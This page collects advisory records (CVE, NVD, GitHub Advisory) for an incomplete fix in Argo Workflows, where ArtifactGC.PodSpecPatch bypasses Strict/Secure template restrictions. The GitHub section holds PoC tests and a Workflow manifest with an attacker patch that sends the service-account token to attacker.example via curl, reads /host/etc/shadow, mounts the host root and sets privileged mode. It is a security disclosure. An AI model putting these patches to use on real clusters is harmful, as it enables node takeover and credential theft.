Argo Workflows: Incomplete fix for CVE-2026-31892: ArtifactGC.PodSpecPatch bypass of Strict/Secure templateReferencing

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Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 3.7.15 and 4.0.6, the allow-list fix for CVE-2026-31892 is incomplete because workflow/util/merge.go ValidateUserOverrides and SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection, and WorkflowSpec.ArtifactGC is allow-listed wholesale; the struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod, the same sink the original fix closed for WorkflowSpec.PodSpecPatch, so a user submitting a Workflow under templateReferencing: Strict or Secure (against a referenced WorkflowTemplate that declares an output artifact and setting spec.artifactGC.strategy: OnWorkflowCompletion) can still inject an arbitrary strategic merge patch into the artifact-GC pod, including hostPath volumes, privileged: true, arbitrary image and command, and hostNetwork: true, defeating the stated purpose of Strict/Secure reference mode. This issue is fixed in versions 3.7.15 and 4.0.6.

Source published

16 Jul 2026 19:07:30 UTC

Source modified

17 Jul 2026 13:57:43 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 8.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to 3.7.15 and 4.0.6, the allow-list fix for CVE-2026-31892 is incomplete because workflow/util/merge.go ValidateUserOverrides and SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection, and WorkflowSpec.ArtifactGC is allow-listed wholesale; the struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod, the same sink the original fix closed for WorkflowSpec.PodSpecPatch, so a user submitting a Workflow under templateReferencing: Strict or Secure (against a referenced WorkflowTemplate that declares an output artifact and setting spec.artifactGC.strategy: OnWorkflowCompletion) can still inject an arbitrary strategic merge patch into the artifact-GC pod, including hostPath volumes, privileged: true, arbitrary image and command, and hostNetwork: true, defeating the stated purpose of Strict/Secure reference mode. This issue is fixed in versions 3.7.15 and 4.0.6.

Source published

16 Jul 2026 19:16:50 UTC

Source modified

24 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 13:17:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### Summary The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of `hostNetwork`/`securityContext`/`serviceAccountName` in GHSA-3775-99mw-8rp4, is incomplete. `workflow/util/merge.go` `ValidateUserOverrides` / `SanitizeUserWorkflowSpec` walk only the top-level fields of `WorkflowSpec` via reflection. `WorkflowSpec.ArtifactGC` is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, `WorkflowLevelArtifactGC`, has a `PodSpecPatch` sub-field whose contents flow unmodified into `util.ApplyPodSpecPatch` on the artifact-GC pod - the same sink the original fix closed for `WorkflowSpec.PodSpecPatch`. A user submitting a Workflow under `templateReferencing: Strict` or `Secure` can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, `privileged: true`, arbitrary image and command, `hostNetwork: true`), defeating the stated purpose of Strict/Secure reference mode. ### Details Locations in `main` at `4d9f021` (HEAD 2026-04-23): Allow-list and reflection scope - `workflow/util/merge.go:19-60`: ```go var allowedUserOverrideFields = map[string]bool{ "Arguments": true, "Entrypoint": true, ... "ArtifactGC": true, // <-- allow-listed wholesale } func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error { v := reflect.ValueOf(userSpec).Elem() t := v.Type() zero := reflect.New(t).Elem() for i := 0; i < t.NumField(); i++ { fieldName := t.Field(i).Name if allowedUserOverrideFields[fieldName] { continue // <-- sub-fields are not walked } if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) { violations = append(violations, fieldName) } } ... } ``` The allow-listed type - `pkg/apis/workflow/v1alpha1/workflow_types.go:1207-1217`: ```go type WorkflowLevelArtifactGC struct { ArtifactGC `json:",inline"` ForceFinalizerRemoval bool `json:"forceFinalizerRemoval,omitempty"` PodSpecPatch string `json:"podSpecPatch,omitempty"` // <-- sink input } ``` The sink - `workflow/controller/artifact_gc.go:731-740` reads the user-controlled value: ```go func (woc *wfOperationCtx) getArtifactGCPodInfo(artifact *wfv1.Artifact) podInfo { info := podInfo{} if woc.execWf.Spec.ArtifactGC != nil { woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info) info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch } ... } ``` And `workflow/controller/artifact_gc.go:518-525` feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field: ```go if info.podSpecPatch != "" { patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch) if patchErr != nil { return nil, patchErr } pod.Spec = *patchedPodSpec } ``` `util.ApplyPodSpecPatch` (`workflow/util/util.go:1560`) is a raw `strategicpatch.StrategicMergePatch` over the whole `apiv1.PodSpec` with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against `WorkflowSpec.PodSpecPatch`. The pod it is applied to - built in `workflow/controller/artifact_gc.go` ~line 460-495 - has `AutomountServiceAccountToken: true` and a hardened `MinimalCtrSC()` security context that the patch fully overrides. The merge path is the one the fix already walks. `operator.go:#setStoredWfSpec` does `SanitizeUserWorkflowSpec(&woc.wf.Spec)` before `JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec)`. `Sanitize` preserves `ArtifactGC` wholesale. `Join` uses `strategicpatch.StrategicMergePatch` with the user spec as the target, so the user's `artifactGC.podSpecPatch` value wins whenever it is non-empty. Precondition for the attack: the referenced `WorkflowTemplate` has at least one template with an output artifact. `workflow/controller/artifact_gc.go:79` `HasArtifactGC` iterates `execWf.Spec.Templates[*].Outputs.Artifacts[*]` and asks `GetArtifactGCStrategy(&artifact)`, which falls back to `w.Spec.ArtifactGC.Strategy` when the per-artifact strategy is `Undefined` (`pkg/apis/workflow/v1alpha1/workflow_types.go:245`). The user supplies `spec.artifactGC.strategy: OnWorkflowCompletion` (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads. No validation sits between sanitize and sink: ``` grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.*PodSpecPatch" --include="*.go" workflow/validate/ # (no output) ``` The merge-package test file added with the fix (`workflow/util/merge_test.go` @ `4d9f021`) covers only `WorkflowSpec.PodSpecPatch`; `ArtifactGC.PodSpecPatch` is not exercised. ### PoC Self-contained Go unit tests against the shipped `workflow/util` package at `main@4d9f021`. Drop either file into `workflow/util/` and run `go test`. `poc/merge_artifactgc_poc_test.go`: ```go package util import ( "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1" ) func TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) { attackerPatch := `{"containers":[{"name":"main","image":"attacker/evil:latest",` + `"command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}],` + `"hostNetwork":true}` userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } // Gate 1: allow-list. Expected to reject - does not. require.NoError(t, ValidateUserOverrides(userSpec)) // Gate 2: sanitizer defense-in-depth. Expected to strip - does not. sanitized := SanitizeUserWorkflowSpec(userSpec) assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch) } ``` `poc/artgc_sink_poc_test.go` demonstrates the same patch reaching `ApplyPodSpecPatch` and mutating the hardened pod baseline (switches image, sets `privileged: true`, sets `hostNetwork: true`, adds a `hostPath: /` volume): ```go func TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) { attackerPatch := ` containers: - name: main image: attacker/evil:latest command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"] securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: {drop: null, add: [SYS_ADMIN]} readOnlyRootFilesystem: false hostNetwork: true volumes: - name: hostroot hostPath: {path: /} ` userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } require.NoError(t, ValidateUserOverrides(userSpec)) sanitized := SanitizeUserWorkflowSpec(userSpec) // Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod. basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ } patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch) require.NoError(t, err) assert.Equal(t, "attacker/evil:latest", patched.Containers[0].Image) assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged) assert.Equal(t, true, patched.HostNetwork) assert.Equal(t, "/", patched.Volumes[0].HostPath.Path) } ``` Run: ``` go test -v -run "TestPoC_ArtifactGC" ./workflow/util/ ``` Captured output: ``` === RUN TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch --- PASS: TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s) === RUN TestPoC_ArtifactGCPodSpecPatchPassesAllowList --- PASS: TestPoC_ArtifactGCPodSpecPatchPassesAllowList (0.00s) PASS ok github.com/argoproj/argo-workflows/v4/workflow/util 0.036s ``` End-to-end Workflow manifest (for a live cluster reproduction by maintainers): ```yaml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: {name: safe-template} spec: entrypoint: main templates: - name: main container: {image: argoexec:latest, command: [echo, hello]} outputs: artifacts: - {name: artifact, path: /tmp/artifact} --- apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: {generateName: bypass-} spec: workflowTemplateRef: {name: safe-template} artifactGC: strategy: OnWorkflowCompletion podSpecPatch: | containers: - name: main image: attacker/evil:latest command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"] hostNetwork: true volumes: - name: hostroot hostPath: {path: /} ``` Controller config for the test cluster: ```yaml workflowRestrictions: templateReferencing: Strict ``` With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork. ### Impact Under `templateReferencing: Strict` or `Secure`, the purpose of the allow-list introduced in `4d9f021` is to make `workflowTemplateRef` the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. `ArtifactGC.PodSpecPatch` is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to: - run an attacker-chosen image as a container in the workflow's namespace, with `AutomountServiceAccountToken: true`, i.e. holding the artifact-GC pod's service-account token, - bypass `common.MinimalCtrSC()` / `common.MinimalPodSC()` by setting `privileged: true`, `allowPrivilegeEscalation: true`, `runAsUser: 0`, `readOnlyRootFilesystem: false`, `capabilities.add: [SYS_ADMIN]`, - mount `hostPath: /` into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently), - enable `hostNetwork: true` (equivalent to being on the node's network for the lifetime of the pod). This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level `PodSpecPatch` field but leaves a second call site with the same semantics reachable through an allow-listed sub-field. A minimal fix is either (a) add a sub-field pass to `ValidateUserOverrides`/`SanitizeUserWorkflowSpec` that rejects/empties `ArtifactGC.PodSpecPatch` when `MustUseReference()` is true, or (b) gate the `if info.podSpecPatch != ""` branch in `createArtifactGCPod` on the same `WorkflowRestrictions.MustUseReference()` check so the sink itself refuses user-supplied patches in Strict/Secure mode. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Source published

13 Aug 2026 14:16:09 UTC

Source modified

10 Sep 2026 03:51:13 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H

Publisher rating · HIGH

Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892) in github.com/argoproj/argo-workflows

Source published

18 Aug 2026 14:32:29 UTC

Source modified

18 Aug 2026 14:56:00 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.